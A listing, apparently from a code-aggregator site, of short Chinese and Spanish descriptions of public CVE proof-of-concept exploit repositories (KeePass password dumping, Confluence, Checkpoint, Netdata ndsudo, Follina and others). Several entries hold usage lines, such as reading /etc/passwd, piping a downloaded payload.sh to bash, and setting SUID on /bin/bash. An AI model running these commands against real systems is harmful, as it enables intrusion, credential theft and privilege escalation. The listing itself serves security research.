KeePass-dump-py

KeePass-dump-py 我尝试用 python 重新编写原始的 KeePass 2.X 主密码转储器 CVE-2023-32784 POC。 请前往 原始 POC 了解更多关于漏洞及利用过程的详细信息。 此脚本的作用： 1. 检查 KeePass 进程是否正在运行，如果没有则启动 KeePass 2. 使用 WerFault 转储 KeePass 进程（代码片段改编自 LSASSY） 3. 搜索进程转储以查找密码...

CVE-2016-3962-Exploit

CVE-2016-3962, CVE-2016-3989 POC利用 这是针对Meinberg NTP时间服务器Web配置界面V5.30p版本的概念验证利用代码。该利用还利用了CVE-2016-3989提权至root用户。 关于这些漏洞的更多详情，请访问： https://www.securifera.com/advisories/cve-2016-3962-3988-3989/ https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03...

cve-2021-22146

cve-2021-22146 我在一次内部渗透测试中发现了一个 Elastic ECE 的漏洞。Elasticdump 是一个针对 CVE-2021-22146 的 PoC，用于从 7.10.0 到 7.13.3 版本的 Elastic ECE 中导出数据库。 https://www.exploit-db.com/exploits/50152 合作者：Mario Díaz Caldera...

CVE-2024-24919-POC

CVE-2024-24919 PoC 🚀 🔥 描述 该脚本自动化利用 CVE-2024-24919 （Checkpoint 安全网关未经授权信息泄露）。 📌 功能特点 ✅ 单个和批量 URL 测试 ✅ 自动化利用 ✅ 简单快速 🛠️ 使用方法 克隆此仓库并运行脚本： git clone https://github.com/spider00009/CVE-2024-24919-POC.git cd CVE-2024-24919-POC python exploit.py -u https://target.com...

CVE-2022-26134_conFLU

CVE-2022-26134 - conFLU 利用 CVE-2022-26134 攻击 Atlassian Confluence 的 PoC 利用方式 python3 conFLU.py -h Usage: conFLU.py -h -u URL -f F -cmd CMD optional arguments: -h, --help 显示此帮助信息并退出 -u URL, --url URL 目标 URL -f F, --file F URL 文件 -c CMD, --command CMD 命令 单目标利用 $ python3 conFLU.py -u...

CVE-2019-5420.rb

CVE-2019-5420.rb 使用 Ruby 编写的 POC 漏洞利用程序 从目标应用获取你的 Cookies 并填入脚本，然后通过 ruby ./exploit.rb 运行。...

scumjrs

scumjrs PoC de Dirty COW CVE-2016-5195...

CVE-2020-2969

CVE-2020-2969 CVE-2020-2969 的 PoC 记录在此：https://packetstormsecurity.com/files/179027/Oracle-Database-Password-Hash-Unauthorized-Access.html...

CVE-2021-31630-HTB

CVE-2021-31630 漏洞利用 针对 Hack The Box 平台 WifineticTwo 主机上 OpenPLC 的 CVE-2021-31630 漏洞利用 PoC， 此脚本作为 CVE-2021-31630 的概念验证 PoC 漏洞利用，针对 Hack The Box 平台上 WifineticTwo 主机运行的 OpenPLC 服务。 用法 python exploit.py -ip -p -u -pwd python ./exploit.py -ip 10.10.16.5 -p 1337 -u openplc -pwd openplc 参数 -ip : 指定监听的 I...

POC-CVE-2022-28117

CVE 2022 28117 PoC Python 稍作修改 用法 : python3 .\poccve2022-28117.py -x file:///etc/passwd -u username -p password http://192.168.148.140/navigate...

CVE-2019-8014

CVE-2019-8014 的一点简单分析。 包含 Poc 和 exp Shellcode 是弹出计算器 or CMD 窗口，不记得了。 注意： my.7z 是触发漏洞需要的 bmp 图片 ，文件太大了，我压缩了一下。...

CVE-2012-2982

CVE-2012-2982 针对CVE-2012-2982（Webmin 1.580）的Python POC，由用户 OstojaOfficial 在原版基础上改进。 这是原始脚本的改进版本，用户无需查看整个脚本即可了解输入数据的格式。为此，只需将该部分代码移至开头： 同时，添加了一个退出指令以防止脚本继续运行（sys.exit1）。 还增加了用户可以在调用漏洞利用工具时指定Webmin 1.580服务运行端口的功能。 由于添加了一个新的输入项，所有其他数据也随之调整，同时修改了用于登录和利用漏洞的查询URL。 最后，添加了主功能，当所有数据正确接收时脚本将执行该功能。...

CVE-2018-1000802-PoC

Python CVE-2018-1000802 概念验证 这是 shutil 内置模块导出的 makearchive 函数中漏洞的概念验证。 该漏洞存在于 CPython Python 2.7 中，早于提交 add531a1e55b0a739b0f42582f1c9747e5649ace。 要使该漏洞在实际环境中可被利用，需要满足以下几个条件： 1. 代码必须在 Windows 机器上运行； 2. 必须有一个可通过命令行访问的 zip 工具，例如 Zip for Windows； 3. 导入 zipfile 必须失败。 请参阅 poc.py 获取代码示例。...

Follina-Vulnerability-CVE-2022-30190-Exploit-Analysis

Follina-Vulnerability-CVE-2022-30190-Exploit-Analysis Exploración de la vulnerabilidad Follina CVE-2022-30190 de Microsoft Office, que incluye un análisis detallado, explotación de prueba de concepto en un laboratorio controlado y estrategias de mitigación. Solo con fines educativos y de...

gerapy-cve-2021-43857

Gerapy CVE-2021-43857 RCE autenticado Este repositorio contiene una prueba de concepto del exploit para CVE-2021-43857 , una vulnerabilidad de ejecución remota de código que afecta a Gerapy -p -L -P Requisitos 1. Python 3.x 2. requests y pyfiglet pip install requests pyfiglet 3. Netcat nc...

CVE-2011-3368

CVE-2011-3368 PoC 漏洞利用代码。 cve-2011-3368 安装： git clone https://github.com/colorblindpentester/CVE-2011-3368 cd CVE-2011-3368 python2 CVE-2011-3368.py 测试于： OS X macos Parrot OS Kali linux...

CVE-2020-5902

CVE-2020-5902 CVE-2020-5902 利用工具 POC bash 版本...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo 漏洞利用验证 PoC 构建二进制文件： go build -ldflags "-s -w" -o nvme poc.go upx nvme 运行 bash 脚本： bash exploit.sh 在目标机器上，在可写目录中运行： curl http://:8000/payload.sh | bash 它会自动下载 nvme 二进制文件，导出路径，运行 ndsudo 并给 /bin/bash 添加 SUID 权限。 你可能需要修改 exploit.sh 中的 ndsudo 路径。 要提权，只需运行： /bin/bash -...

CVE-2019-3980

CVE-2019-3980 CVE-2019-3980 漏洞利用程序，使用 win32/c++ 编写（依赖于 openssl）。移植自 https://github.com/tenable/poc/blob/master/Solarwinds/Dameware/dwrcsdwDrvInstrce.py 说明 此 PoC 需要静态链接的 openssl 库。将 openssl 头文件放在 thirdparty\include\openssl 中，库文件放在 thirdparty\libs\openssl$PlatformShortName\ 中。 大致的 openssl 构建说明： 安装...

cve-2018-12386

Firefox 沙盒化 RCE 漏洞利用 CVE-2018-12386 这是一个针对漏洞 CVE-2018-12386 的简单漏洞利用程序，由 Niklas Baumstark、Samuel Groß 和 Bruno Keith 发现。 这主要是一个我出于兴趣编写的 PoC（概念验证），不包含沙盒绕过，并且仅适用于已知利用程序所用偏移量的特定 Linux 环境（偏移量可在 exploit/offsets.js 中修改）。 该漏洞利用程序适用于 Firefox 62.0.3 及 Firefox ESR 60.2.2 之前的版本。 下载 Firefox 以测试漏洞利用程序 你可以直接从...